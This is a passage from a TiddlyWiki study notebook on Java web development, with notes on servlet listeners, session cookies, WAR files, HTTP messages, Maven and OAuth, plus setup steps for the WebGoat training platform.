    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
    version="2.4">
	<listener>
      <listener-class>
        MyContextListener
      </listener-class>
    </listener>

    <context-param>
      <param-name>adminMail</param-name>
      <param-value>admin@it100.sese</param-value>
    </context-param>
	
	<servlet>
      <servlet-name>myservlet01</servlet-name>
      <servlet-class>ContextListenerTester</servlet-class>
    </servlet>
  
    <servlet-mapping>
      <servlet-name>myservlet01</servlet-name>
      <url-pattern>/ContextListenerTester.do</url-pattern>
    </servlet-mapping>
	
</web-app>
}}}

{{op1{ContextListener 測試程式}}}
{{{
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ContextListenerTester extends javax.servlet.http.HttpServlet 
                                implements javax.servlet.Servlet {
  public ContextListenerTester() {
    super();
  } 

  public void doGet(HttpServletRequest request, HttpServletResponse response) 
     throws ServletException, IOException {
    // TODO Auto-generated method stub
    response.setContentType("text/html");
    PrintWriter pw = response.getWriter();
    pw.println("context attributes set by the listener <br>");
    String f = (String)getServletContext().getAttribute("AdminMail");
    pw.println("The administrator e-mail is :" + f);
  } 
}
}}}

{{item1{Web Application 執行}}}
{{op1{重新啟動}}}

[img[img/servlet/listener01.png]]

[img[img/servlet/listener02.png]]


{{item1{Using Listeners with Servlet Requests}}}
Servlet 2.4 provides two interfaces that you can use as application event listeners for HTTP requests: javax.servlet.ServletRequestListener and javax.servlet.ServletRequestAttributeListener. An application event listener is an object that is notified when certain events occur, so you can include objects that initiate tasks when a new request comes into your application. For example, this code counts the number of web application requests by incrementing a static variable inside of a ServletRequestListener.
{{{
/* package and import statements */

public class ReqListener implements ServletRequestListener {

    private static long reqCount;
    //no args constructor made explicit here
    public ReqListener(){}

  public void requestInitialized(ServletRequestEvent sre){

      //used for logging purposes
      ServletContext context =sre.getServletContext();
      //Used to get information about a new request
      ServletRequest request =sre.getServletRequest();
      //The static class variable reqCount is incremented in this block;
      synchronized (context){
          context.log(
            "Request for "+
            (request instanceof HttpServletRequest ?
            ((HttpServletRequest)request).getRequestURI():
             "Unknown")+";Count="+ ++reqCount);
      }//synchronized
  }

  public void requestDestroyed(ServletRequestEvent sre){
      //Called when the servlet request is going out of scope.
  }//requestDestroyed
}// ReqListener
}}}
Each time the web application receives a new request, the listener is notified and its requestInitialized() method is called. This method's parameter is a javax.servlet.ServletRequestEvent type. Calling this object's getServletRequest() method gives the developer access to the new request, a javax.servlet.ServletRequest type (to do whatever they want with the new request).

The listener must have a constructor with no arguments. You have to register the ServletRequestListener in web.xml:
{{{
<listener>
    <listener-class>com.jspservletcookbook.ReqListener</listener-class>
</listener>
}}}
The web container then creates an instance of the listener when it deploys your web application.

''Note:'' Servlet 2.4 also includes a ServletRequestAttributeListener interface. An object that implements this interface can receive notifications of when object attributes are added to or removed from a ServletRequest. You also have to register these listener types in web.xml.

{{op1{ServletRequestListener 的原始程式}}}
{{{
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements.  See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License.  You may obtain a copy of the License at
*
*     http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package javax.servlet;

import java.util.EventListener;

    /**
     * A ServletRequestListener can be implemented by the developer
     * interested in being notified of requests coming in and out of
     * scope in a web component. A request is defined as coming into
     * scope when it is about to enter the first servlet or filter
     * in each web application, as going out of scope when it exits
     * the last servlet or the first filter in the chain.
     *
     * @since Servlet 2.4
     */


public interface ServletRequestListener extends EventListener {

    /** The request is about to go out of scope of the web application. */
    public void requestDestroyed ( ServletRequestEvent sre );

    /** The request is about to come into scope of the web application. */
    public void requestInitialized ( ServletRequestEvent sre );
}

}}}

///%listener
//%/
''參考文章''
1. 介紹一篇關於session的好文章,寫的很詳細
http://blog.e-happy.com.tw/article.asp?id=51

{{item1{Servlet Session Tracking}}}
HTTP is a stateless protocol: it doesn't provides a way for a server to recognize which client is using what part of the application. The shopping cart software is classic example, a client can selected the items from multiply actions in his virtual box. Other examples include sites that use online communication portals, or database managing.

Great number of web-oriented application requires that application has to keep track of the clients performing actions, plain http doesn't provide that, and thus can't be supported without an additional API. To support the software that needs keep track of the state, Java Servlet technology provides an API for managing sessions and allows several mechanisms for implementing sessions.

{{op1{How to access the session}}}

Sessions are provided by an HttpSession object. One can access a session by calling the getSession method of a request object. You will get the current session associated with this request returned by this method, or, if the request does not have a session, it will create one.

{{op1{How to associate Attributes with a Session}}}

Object-valued attributes can be associated with a session by name. These attributes would be accessible by any Web component that belongs to the same Web context and is handling a request that is part of the same session. This is the example of the shopping cart session handling:
{{{
public class ShoppingCartServlet extends HttpServlet {
public void GetIt (HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {

// Find the user's session associated with the cart
HttpSession session = request.getSession();
ShoppingCart scart =
(ShoppingCart)session.
getAttribute("scart");
...

// Get the total amount in the shopping cart
double amount = scart.getTotal();
}}}
 
{{op1{Session Tracking}}}
Session tracking is a great thing. Every user can be associated with a javax.servlet.http.HttpSession object that servlets can use to store or retrieve information about that user. Any set of arbitry can be saved by the Java objects in a session object. For example, a user s session object provides a convenient location for a servlet to store the user s shopping cart contents.

Web container can use several method to store the session objects, one of the method is by passing the session identifier, you can associate the data set in memory with the id you give to the client.

If you intend to use the object identifiers you must make sure, that you check whether the client uses cookies. If te client's cookies are disabled,you must past session id by rewriting the page url. This way the session url is saved on the page url. If cookies are enabled, there is no need to rewrite the page url, because the id is saved into the cookie information.

Servlet's ability to associate a request with a user is allowed by session tracking. A session can be extended across requests and connections of the stateless HTTP. You can maintain sessions in two ways: Using Cookies. A cookie is a string passed from the webserver to a client's browser. It contains the session id. If the browser wants to keep the cookie (cookies are enabled), it will send the same string in the page headers to the browser.

Using rewrited URLs. This is less suitable solution. All links on the page must be encoded dynamicly, so they contain the session id. Also, you cannot have static pages, and all the pages must be created dynamically from the servlet, so they contain the session id, thus pass it to the server and keep session alive.

''參考文章''
1. Session Tracking
http://www.apl.jhu.edu/~hall/java/Servlet-Tutorial/Servlet-Tutorial-Session-Tracking.html#Section1


{{item1{建立 Session}}}
在 Servlet 的 Session 運作, 任一瀏覽器 (有開啟 Cookie 功能) 執行第一次,  便會得到一個 Cookie (JSESSIONID), 下次同一個瀏覽器再連接 Servlet Session 程式, 便會送出已儲存的 Cookie (JSESSIONID). 這種 Cookie 的存活時間一直到瀏覽器關閉. 每一個瀏覽器都會''只有一個專屬的 Cookie'', 這意思是同一個瀏覽器不論開多少個 Tab 視窗,  還都是使用同一個 Cookie 

{{op1{建立 Session Cookie (JSESSIONID) 程式範例}}}
{{{
import java.io.*;
import java.text.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class CreateSession extends HttpServlet {

    HttpSession session;

    public void doGet(HttpServletRequest request, HttpServletResponse response)
          throws IOException, ServletException
    {
           response.setContentType("text/html");

	    // session is retrieved before getting the writer

	    session = request.getSession(true);
	 
           PrintWriter out = response.getWriter();

           out.println("<html>");
           out.println("<body>");

           out.print("<h1>"+session.getId()+"</h1>");

	    out.println("</body>");
	    out.println("</html>");

	    out.close();
    }

    public void doPost(HttpServletRequest request, HttpServletResponse response)
           throws IOException, ServletException
    {
        doGet(request, response);
    }
}

}}}

''[問題]'' Servlet 送出的 Session Cookie (JSESSIONID) 存活時間多久 ? 

[img[img/servlet/sessioncookie.png]]


{{op1{顯示 JSESSIONID Cookie 資訊}}}
{{{
import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class GetSession extends HttpServlet {

    HttpSession session;

    public void doGet(HttpServletRequest request, HttpServletResponse response)
          throws IOException, ServletException
    {
        response.setContentType("text/html");
	    session = request.getSession();
        PrintWriter out = response.getWriter();
		
        Cookie[] cookies = request.getCookies();
        if (cookies != null) {
           for (int i = 0; i < cookies.length; i++) {
		out.print(cookies[i].getName()+" : "+cookies[i].getValue()+" : "+
			    cookies[i].getMaxAge());
           }
         }
	 out.close();
    }

    public void doPost(HttpServletRequest request, HttpServletResponse response)
           throws IOException, ServletException
    {
        doGet(request, response);
    }
}
}}}

''執行結果''
{{{
JSESSIONID : 6A265CEC5AE9E519CF12D9FB161CD0B9 : -1

"-1"  代表瀏覽器關閉後, JSESSIONID Cookie 便會被刪除
}}}

<<toBalaNotes "session">>

{{op1{延長 Session Cookie 的存活時間}}}
{{{
package com.prosc.servlet;

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;

/**
* This class will set the cookie maxAge to match the session timeout value. That way, a user who closes their browser and
* re-enters the site will still have the same session if it has not timed out on the server.
*/
public class SessionCookieExtender implements Filter {
   private static final String JSESSIONID = "JSESSIONID";
 
   public void init( FilterConfig config ) throws ServletException {}
 
   public void doFilter( ServletRequest _request, ServletResponse _response, FilterChain chain ) 
                throws IOException, ServletException {
      if( _response instanceof HttpServletResponse ) {
      HttpServletRequest httpRequest = (HttpServletRequest)_request;
      HttpServletResponse httpResponse = (HttpServletResponse)_response;
 
      HttpSession session = httpRequest.getSession();
      if( session != null && session.getId() != null ) {
         Cookie sessionCookie = new Cookie( JSESSIONID, session.getId() );
         int sessionTimeoutSeconds = session.getMaxInactiveInterval();
         sessionCookie.setMaxAge( sessionTimeoutSeconds );
         sessionCookie.setPath( httpRequest.getContextPath() );
         httpResponse.addCookie( sessionCookie ); //FIX! This doesn't actually get rid of the other cookie, but it seems to work OK
      }
    }
    chain.doFilter( _request, _response );
     }
 
    public void destroy() {}
    }
}}}



///%session
//%/
{{item1{What is a user ID ?}}}
A user ID is the number Twitter assigns to a profile.   Instead of using your name or email address to identify you, we assign you a user ID instead.  This way, you can change any of your personal information and we still know who you are. Twitter does all kinds of things behind the scenes with user IDs, such as relaying statuses, formatting rss feeds, and putting your contacts in order.  You're not required to know your user ID most of the time, but some third party applications may require it.

{{item1{How do I find my user ID?}}}

Your user ID can be found in several ways:
{{{
* Click the rss icon in the right end of your browser to show your feed address in a feed reader , and note the number at the end of the rss feed  
* Hover over the rss button on your home, profile, or replies page to show the feed address at the bottom of your browser; your user ID is the number before ".rss"
* Click the rss box  at the bottom of your home, profile, or replies page and look for the number at the end of the URL that pops up in your browser; it's the number before ".rss"
}}}

[img[img/Twitter/TwitterUserID.jpg]]

If you have the rss feed address of any Twitter page, you can always find the user ID, since it is always the number at the end of the link, just before the ".rss" suffix.  For example, in this rss feed:
{{{
http://twitter.com/statuses/friends_timeline/15.rss   
}}}
the user ID is the number at the end, 15.
下載網址 : http://code.google.com/p/webgoat/downloads/list

WebGoat 是 OWASP 所開發的元老級計劃之一, 計劃的詳細內容請至以下開發網站觀看
http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

這是用來練習 Web 安全漏洞攻擊的平台, 裡面包含一些練習題並附上解答, google 雖然有相關介紹, 但竟然查不到中文的的安裝說明, 最近搞了好久才搞定, 不過有些練習題所需要的WebScarab還沒弄好, 但可以先玩其他練習題

出乎意料的,WebGoat 載點竟然不是在旁邊的 dowload 裡, 仔細看計劃會提到放在 OWASP Source Code Center 裡, 下載頁面 http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=61824, 然後下載目前的最新版本 WebGoat-OWASP_Standard-5.2.zip, 這壓縮檔包含所需的 java 及 tomcat,不需要另外去安裝

下載後解壓縮完後執行 webgoat 以開始 tomcat, 跑出來的命令提示字元不要關閉,除非你想結束練習, 開敋瀏覽器輸入http://localhost/WebGoat/attack, 帳號及密碼都是 guest, 能順利看到登入視窗的話非常恭喜,開始屠宰它吧 ! (到這部份webgoat裡的readme裡都有寫)

如果不行的話關掉命令提示字元, 然後執行 webgoat_8080, 這跟上面那個只是使用不同的port, 然後在瀏覽器輸入http://localhost:8080/WebGoat/attack, 應該就 ok 了, 如果不行就看看 readme 吧

<<toBalaNotes "webgoat">>




///%webgoat
//%/
For this "List" task we don't use the default action "addToList" (that simply adds all selected items to the list) but create the list using the "write" action and refer to the build-in variable "index" that is incremented for every tiddler being processed.
{{{
<<forEachTiddler
    where
        'tiddler.tags.contains("Notes")'
    write
        '(index < 10) ? "* [["+tiddler.title+"]]\n" : ""'
>>
}}}
In the write parameter there is a conditional output: when we are processing the tiddlers 0 to 9 it will write a line with:

 {{{* [[theTiddlerName]]}}}

Tiddler 10 and the following ones will generate no output (as the empty string is specified).

''//Result://''
<<forEachTiddler
    where
        'tiddler.tags.contains("Notes")'
    write
        '(index < 10) ? "* [["+tiddler.title+"]]\n" : ""'
>>
[img[img/webapp/Container.png]]

<<toBalaNotes "container">>


///%container
//%/
<<forEachTiddler 
 where
   'tiddler.tags.contains("toBalaMacro")'
>>
<<forEachTiddler
    script '
        window.fetItemsPerPage = 20;

        function getHeader(context,count) {
            if (!window.fetStartIndex || window.fetStartIndex < 0) 
                window.fetStartIndex = 0;

            // ensure not to page behind the last page
            if (window.fetStartIndex >= count)
                window.fetStartIndex = Math.min(Math.max(window.fetStartIndex-window.fetItemsPerPage,0),count-1);

            createTiddlyButton(context.place,"<",null,
                    function(e) {
                        window.fetStartIndex -= window.fetItemsPerPage;
                        story.refreshTiddler(context.viewerTiddler.title,null,true);
                    });
            createTiddlyButton(context.place,">",null,
                    function(e) {
                        window.fetStartIndex += window.fetItemsPerPage;
                        story.refreshTiddler(context.viewerTiddler.title,null,true);
                    });

            var startNo = window.fetStartIndex+1;
            var endNo = Math.min(count,window.fetStartIndex+window.fetItemsPerPage);

            return "("+startNo+" - "+endNo+ " of "+ count + " items)\n";
        }
    '

    write
            '(index >= window.fetStartIndex) && (index < window.fetStartIndex + 20) ? "* [["+tiddler.title+"]]\n" : ""'

        begin
            'getHeader(context,count)'
>>

// /%
With a little scripting you can use the ~ForEachTiddlerPlugin to display the result "by pages". I.e. you don't display the full result list, but (e.g.) 10 at a time. 
Using a "pagewise" display may be useful when the result may get very large. This way you avoid scrolling the window to see the result. It also speeds up things since less items need to be display at a time.

''Code''
{{{
<<forEachTiddler
    script '
        window.fetItemsPerPage = 10;

        function getHeader(context,count) {
            if (!window.fetStartIndex || window.fetStartIndex < 0) 
                window.fetStartIndex = 0;

            // ensure not to page behind the last page
            if (window.fetStartIndex >= count)
                window.fetStartIndex = Math.min(Math.max(window.fetStartIndex-window.fetItemsPerPage,0),count-1);

            createTiddlyButton(context.place,"<",null,
                    function(e) {
                        window.fetStartIndex -= window.fetItemsPerPage;
                        story.refreshTiddler(context.viewerTiddler.title,null,true);
                    });
            createTiddlyButton(context.place,">",null,
                    function(e) {
                        window.fetStartIndex += window.fetItemsPerPage;
                        story.refreshTiddler(context.viewerTiddler.title,null,true);
                    });

            var startNo = window.fetStartIndex+1;
            var endNo = Math.min(count,window.fetStartIndex+window.fetItemsPerPage);

            return "("+startNo+" - "+endNo+ " of "+ count + " items)\n";
        }
    '

    write
            '(index >= window.fetStartIndex) && (index < window.fetStartIndex + 10) ? "* [["+tiddler.title+"]]\n" : ""'

        begin
            'getHeader(context,count)'
>>
}}}
// %/
感謝你使用土芭樂知識王 - 學習筆記本, 首先請你根據以下設定程序, 設定此筆記本的版面
__{{item1{修改筆記本主標題 (SiteTitle) 及 次標題 (SiteSubTitle)}}}__
1. 展開左邊選單中的 ''[知識王管理]'' 項目
2. 點選 ''[版面管理員]'', 然後設定平台標題文字

<<toBalaSWF2 "movie/KMKTitle.swf" "820" "610" "教學影片 - 修改筆記本標題文字">>

__{{item1{產生主選單樹狀文章架構}}}__
1. 展開左邊選單中的 ''[知識王管理]'' 項目
2. 點選 ''[版面管理員]'', 然後設定資訊樹架構

<<toBalaSWF2 "movie/KMKTree.swf" "820" "610" "教學影片 - 產生主選單樹狀文章架構">>

''[注意]'' 執行完上述二項設定, 記得點選工具列中的 ''[儲存變更]'' 按鈕, 儲存你的設定並重新載入

<<toBalaNotes "setup">>


///%setup
//%/
本文網站 : http://en.wikipedia.org/wiki/WAR_file

In computing, a ''WAR file'' (which stands for "web application archive") is a JAR file used to distribute a collection of ''JavaServer Pages'', ''servlets'', ''Java classes'', ''XML files'', ''tag libraries'' and ''static Web pages'' (HTML and related files) that together constitute a Web application.

{{item1{Content and structure}}}
A WAR file may be digitally signed in the same way as a JAR file in order to assert that the code is trusted.There are special files and directories within a WAR file.

The ''/WEB-INF'' directory in the WAR file contains a file named web.xml which defines the structure of the web application. If the web application is only serving JSP files, the web.xml file is not strictly necessary. If the web application uses servlets, then the servlet container uses web.xml to ascertain to which servlet a URL request is to be routed. web.xml is also used to define context variables which can be referenced within the servlets and it is used to define environmental dependencies which the deployer is expected to set up. An example of this is a dependency on a mail session used to send email. The servlet container is responsible for providing this service.

One disadvantage of web deployment using WAR files in very dynamic environments is that minor changes cannot be made during runtime. Any change whatsoever requires regenerating and redeploying the entire WAR file. Most JEE web containers allow web applications to be deployed as a directory instead of a single file. This is known as an exploded archive. An exploded archive may be used during development to quickly test changes to a web application.

The following sample ''web.xml'' file demonstrates how a servlet is declared and associated.
{{{
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE web-app
     PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"
     "http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">
 
 <web-app>
     <servlet>
         <servlet-name>HelloServlet</servlet-name>
         <servlet-class>mypackage.HelloServlet</servlet-class>
     </servlet>
 
     <servlet-mapping>
         <servlet-name>HelloServlet</servlet-name>
         <url-pattern>/HelloServlet</url-pattern>
     </servlet-mapping>
 
     <resource-ref>
         <description>
             Resource reference to a factory for javax.mail.Session
             instances that may be used for sending electronic mail messages,
             preconfigured to connect to the appropriate SMTP server.
         </description>
         <res-ref-name>mail/Session</res-ref-name>
         <res-type>javax.mail.Session</res-type>
         <res-auth>Container</res-auth>
     </resource-ref>
 </web-app>
}}}
The ''/WEB-INF/classes'' directory is on the ClassLoader's classpath. This is where .class files are loaded from when the web application is executing. Any JAR files placed in the ''/WEB-INF/lib'' directory will also be placed on the ClassLoader's classpath.

{{item1{網站應用系統目錄架構}}}

[img[img/webapp/war01.png]]

<<toBalaNotes "wardir">>



///%wardir
//%/
{{item1{題目 : 線上題庫系統}}}

[img[img/QuestionCenter.png]]

{{item1{系統設計}}}
- 網路架構
- 伺服器作業系統的需求與設定
- 客戶端作業系統的需求與設定

{{item1{資料庫設定}}}
- 資料庫名稱
- 表格設計

{{item1{畫面設計}}}
- 畫面架構 (*.html)
- 樣式設計 (*.css)

{{item1{程式設計}}}
- 套件命名 (Package)
- 程式命名 (JSP, Servlet)

{{item1{操作手冊}}}
- 操作影片 (*.swf)

<<toBalaNotes "question">>






///%question
//%/
''參考文章''
1. The Essentials of Filters
http://java.sun.com/products/servlet/Filters.html

The Java Servlet specification version 2.3 introduces a new component type, called a filter. A filter dynamically intercepts requests and responses to transform or use the information contained in the requests or responses. Filters typically do not themselves create responses, but instead provide universal functions that can be "attached" to any type of servlet or JSP page.

Filters are important for a number of reasons. First, they provide the ability to encapsulate recurring tasks in reusable units. Organized developers are constantly on the lookout for ways to modularize their code. Modular code is more manageable and documentable, is easier to debug, and if done well, can be reused in another setting.

Second, filters can be used to transform the response from a servlet or a JSP page. A common task for the web application is to format data sent back to the client. Increasingly the clients require formats (for example, WML) other than just HTML. To accommodate these clients, there is usually a strong component of transformation or filtering in a fully featured web application. Many servlet and JSP containers have introduced proprietary filter mechanisms, resulting in a gain for the developer that deploys on that container, but reducing the reusability of such code. With the introduction of filters as part of the Java Servlet specification, developers now have the opportunity to write reusable transformation components that are portable across containers.

Filters can perform many different types of functions. We'll discuss examples of the italicized items in this paper:
{{{
* Authentication-Blocking requests based on user identity.
* Logging and auditing-Tracking users of a web application.
* Image conversion-Scaling maps, and so on.
* Data compression-Making downloads smaller.
* Localization-Targeting the request and response to a particular locale.
* XSL/T transformations of XML content-Targeting web application responses to more that one type of client.
}}}
本文網址 : http://www.httpwatch.com/httpgallery/introduction/

The ''Hyper Text Transfer Protocol (HTTP)'' is the client-server network protocol that has been in use by the World-Wide Web since 1990. Whenever you surf the web, your browser will be sending HTTP request messages for HTML pages, images, scripts and styles sheets. Web servers handle these requests by returning response messages that contain the requested resource.

''HTTP Request Message''
The HTTP request message has a simple text based structure. For example, here is the the request message sent by Internet Explorer (IE) for this web page:
{{{
GET /simtec/httpgallery/introduction/ HTTP/1.1
Accept:*/*              
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Host: www.httpwatch.com
Connection: Keep-Alive
}}}
The first line of the message, known as the request line, contains:
{{{
* The HTTP method. (get, post,...)
* The relative URL of the resource or a full URL if you are using an HTTP proxy
* The version of HTTP that is being used. Most modern HTTP clients and servers will use HTTP version 1.1 as defined in RFC 2616.
}}}
The rest of the message consists of a set of name/value pairs, known as headers. HTTP clients use header values to control how the request is processed by the server. For example, the Accept-Encoding header indicates that the browser can handle content compressed using the gzip or deflate algorithms.

''HTTP Response Message''

The web server's response message has a similar structure, but is followed by the contents of the HTML page:
{{{
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Mon, 04 Oct 2004 12:04:43 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: no-cache
Pragma: no-cache Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 8307

<html>
  <head>
...
}}}
The first line, or status line, returns a status code from the server that indicates whether the request was successful (see 3. Status codes and errors). The value 200 is returned if the request was processed correctly and content is being returned to the client.

The next eight lines of text contain header values that describe the data and the way in which it is being returned to the client. For example, Content-Type has the value text/html because the page is in HTML format. The response headers are terminated with a double CRLF (carriage return, line feed) and are followed by the contents of the requested resource.

Images are not directly embedded into web pages. Instead, they are specified as separate resources using HTML <img> tags:
{{{
<img src="images/logo.gif" width="50" height="50">
}}}
Whenever the browser encounters an <img> tag, it checks to see if it has a valid copy of the image either loaded in memory or saved in its cache. If no suitable match is found, it sends out another HTTP request to retrieve it. This means that a web page will usually generate multiple HTTP requests; one for the HTML page and one for each of the images.
<<toBalaNotes "http">>






///%http
//%/
In JavaServer Pages technology, actions are elements that can create and access programming language objects and affect the output stream. The JSP specification defines 6 standard actions that must be provided by any compliant JSP implementation.

In addition to the standard actions, JSP v1.1 technology supports the development of reusable modules called custom actions. A custom action is invoked by using a custom tag in a JSP page. A tag library is a collection of custom tags.

Some examples of tasks that can be performed by custom actions include form processing, accessing databases and other enterprise services such as email and directories, and flow control. Before the availability of custom actions, JavaBeans components in conjunction with scriplets were the main mechanism for performing such processing. The disadvantage of using this approach is that it makes JSP pages more complex and difficult to maintain.

Custom actions alleviate this problem by bringing the benefits of another level of componentization to JSP pages. Custom actions encapsulate recurring tasks so that they can be reused across more than one application and increase productivity by encouraging division of labor between library developers and library users. JSP tag libraries are created by developers who are proficient at the Java programming language and expert in accessing data and other services. JSP tag libraries are used by Web application designers who can focus on presentation issues rather than being concerned with how to access databases and other enterprise services.

Some features of custom tags are:
{{{
* They can be customized via attributes passed from the calling page.

* They have access to all the objects available to JSP pages.

* They can modify the response generated by the calling page.

* They can communicate with each other. You can create and initialize a JavaBeans component, create a variable that refers to that bean in one tag, and then use the bean in another tag.

* They can be nested within one another, allowing for complex interactions within a JSP page.
}}}
The next two sections describe the tasks involved in using and defining tags. The tutorial concludes with a discussion of two tag library examples. The examples include complete binary and source code in two Web application archives. 


{{item1{The JSTL Tag Libraries}}}
JSTL is often spoken of as a single-tag library. JSTL is actually four tag libraries. These tag libraries are summarized as follows.
{{{
* Core Tag Library—Contains tags that are essential to nearly any Web application. Examples of core tag libraries include looping, expression evaluation, and basic input and output.

* Formatting/Internationalization Tag Library—Contains tags that are used to and parse data. Some of these tags will parse data, such as dates, differently based on the current locale.

* Database Tag Library—Contains tags that can be used to access SQL databases. These tags are normally used only to create prototype programs. This is because most programs will not handle database access directly from JSP pages. Database access should be embedded in EJBs that are accessed by the JSP pages.

* XML Tag Library—Contains tags that can be used to access XML elements. Because XML is used in many Web applications, XML processing is an important feature of JSTL.
}}}
In this article, we will only take a brief look at a few of the core tags. We will examine a simple example that shows how to process data that a user enters into a form. Before we examine this program, we must first see how JSTL handles expressions. Expression handling in JSTL is accomplished by using the EL expression language, just as it is done in JSP 2.0. In the next section, we will examine the EL expression language.

<<toBalaNotes "jsptag">>



///%jsptag
//%/
官方網站 : http://maven.apache.org/

''Maven'', a ''[[Yiddish word|http://zh.wikipedia.org/wiki/%E6%84%8F%E7%AC%AC%E7%B7%92%E8%AA%9E]]'' meaning ''accumulator of knowledge'', was originally started as an attempt to simplify the build processes in the Jakarta Turbine project. There were several projects each with their own Ant build files that were all slightly different and JARs were checked into CVS. We wanted a standard way to build the projects, a clear definition of what the project consisted of, an easy way to publish project information and a way to share JARs across several projects.

The result is a tool that can now be used for building and managing any Java-based project. We hope that we have created something that will make the day-to-day work of Java developers easier and generally help with the comprehension of any Java-based project.

{{item1{Maven's Objectives}}}
Maven's primary goal is to allow a developer to comprehend the complete state of a development effort in the shortest period of time. In order to attain this goal there are several areas of concern that Maven attempts to deal with:

{{op1{Making the build process easy}}}
While using Maven doesn't eliminate the need to know about the underlying mechanisms, Maven does provide a lot of shielding from the details.

{{op1{Providing a uniform build system}}}
Maven allows a project to build using its project object model (POM) and a set of plugins that are shared by all projects using Maven, providing a uniform build system. Once you familiarize yourself with how one Maven project builds you automatically know how all Maven projects build saving you immense amounts of time when trying to navigate many projects.

{{op1{Providing quality project information}}}
Maven provides plenty of useful project information that is in part taken from your POM and in part generated from your project's sources. For example, Maven can provide:
{{{
  * Change log document created directly from source control
  * Cross referenced sources
  * Mailing lists
  * Dependency list
  * Unit test reports including coverage
}}}
As Maven improves the information set provided will improve, all of which will be transparent to users of Maven.

Other products can also provide Maven plugins to allow their set of project information alongside some of the standard information given by Maven, all still based on the POM.

{{op1{Providing guidelines for best practices development}}}
Maven aims to gather current principles for best practices development, and make it easy to guide a project in that direction.

For example, specification, execution, and reporting of unit tests are part of the normal build cycle using Maven. Current unit testing best practices were used as guidelines:
{{{
  * Keeping your test source code in a separate, but parallel source tree
  * Using test case naming conventions to locate and execute tests
  * Have test cases setup their environment and don't rely on customizing the build for test preparation.
}}}
Maven also aims to assist in project workflow such as release management and issue tracking.

Maven also suggests some guidelines on how to layout your project's directory structure so that once you learn the layout you can easily navigate any other project that uses Maven and the same defaults.

{{op1{Allowing transparent migration to new features}}}
Maven provides an easy way for Maven clients to update their installations so that they can take advantage of any changes that been made to Maven itself.
<<toBalaNotes "maven">>



///%maven
//%/
{{op1{參考文章}}}

OAuth 官方網址 : http://oauth.net/

''OAuth 是 Open Authorization 的縮寫'',透過這種協定,使用者可以在不透露帳號密碼的情況下,授權第三方網路應用服務 (在協定中稱為 Consumer )使用 (或登入) 原本的網路服務 (在協定稱為 Service Provider )。

''Google 官方部落格在 2010/04/02 宣佈 Gmail 將支援 OAuth 認證協定'',代表網友將可在不透露帳戶密碼的情況下,授權第三方應用獲取Gmail 郵件內容;Twitter 從去年4月就開始支持 OAuth 認證。

Google 此舉不僅讓 Gmail 更加安全,還可推動 Gmail 創新應用的開發。在此之前,Google 皆透過 Gmail 實驗室增加功能,業界認為提供 OAuth 安全認證平台後,外部開發者將可藉此優勢開發出大量的 Gmail 應用服務。OAuth 認證協定開放後,是否真的能為 Google Gmail 帶來應用服務掘金熱,還有待觀察。

{{item1{Wikipedia}}}
網址 : http://en.wikipedia.org/wiki/OAuth

OAuth (Open Authorization) is an open standard that allows users to share their private resources (e.g. photos, videos, contact lists) stored on one site with another site without having to hand out their username and password.

OAuth allows users to hand out tokens instead of usernames and passwords to their data hosted by a given service provider. Each token grants access to a specific site (e.g. a video editing site) for specific resources (e.g. just videos from a specific album) and for a defined duration (e.g. the next 2 hours).

Thus OAuth allows a user to grant a third party site access to their information stored with another service provider, without sharing their access permissions or the full extent of their data.

OAuth is a complementary but distinct service to OpenID.

{{op1{History}}}
OAuth began in November 2006, during which Blaine Cook was developing the Twitter OpenID implementation. Meanwhile, Ma.gnolia needed a solution to allow its members with OpenIDs to authorise Dashboard Widgets to access their service. Thus, Cook, Chris Messina and Larry Halff from Ma.gnolia met with David Recordon to discuss using OpenID with the Twitter and Ma.gnolia APIs to delegate authentication. They concluded that there were no open standards for API access delegation.

The OAuth discussion group was created in April 2007, for the small group of implementers to write the draft proposal for an open protocol. DeWitt Clinton from Google learned of the OAuth project, and expressed his interest in supporting the effort. In July 2007 the team drafted an initial specification. Eran Hammer-Lahav joined and coordinated the many OAuth contributions, creating a more formal specification. On October 3, 2007, the OAuth Core 1.0 final draft was released.

At the 73rd Internet Engineering Task Force meeting in Minneapolis in November of 2008, an OAuth BOF was held to discuss bringing the protocol into the IETF for further standardization work. The event was well attended and there was wide support for formally chartering an OAuth working group within the IETF.

{{op1{OAuth 2.0}}}
OAuth 2.0 is the next evolution of the OAuth protocol. OAuth 2.0 focuses on client developer simplicity while providing specific authorization flows for web applications, desktop applications, mobile phones, and living room devices. The specification is being developed within the IETF OAuth WG.

Facebook's new Graph API only supports OAuth 2.0 and is the largest implementation of the emerging standard.

{{op1{Security}}}
On 2009-04-23 a security flaw in the 1.0 protocol was announced. It affects the OAuth authorization flow (also known as ‘3-legged OAuth’) in OAuth Core 1.0 Section 6. Version 1.0a of the OAuth Core protocol was issued to address this issue.
<<toBalaNotes "oauth">>


///%oauth
//%/
官方網址 : http://www.owasp.org/index.php/Main_Page

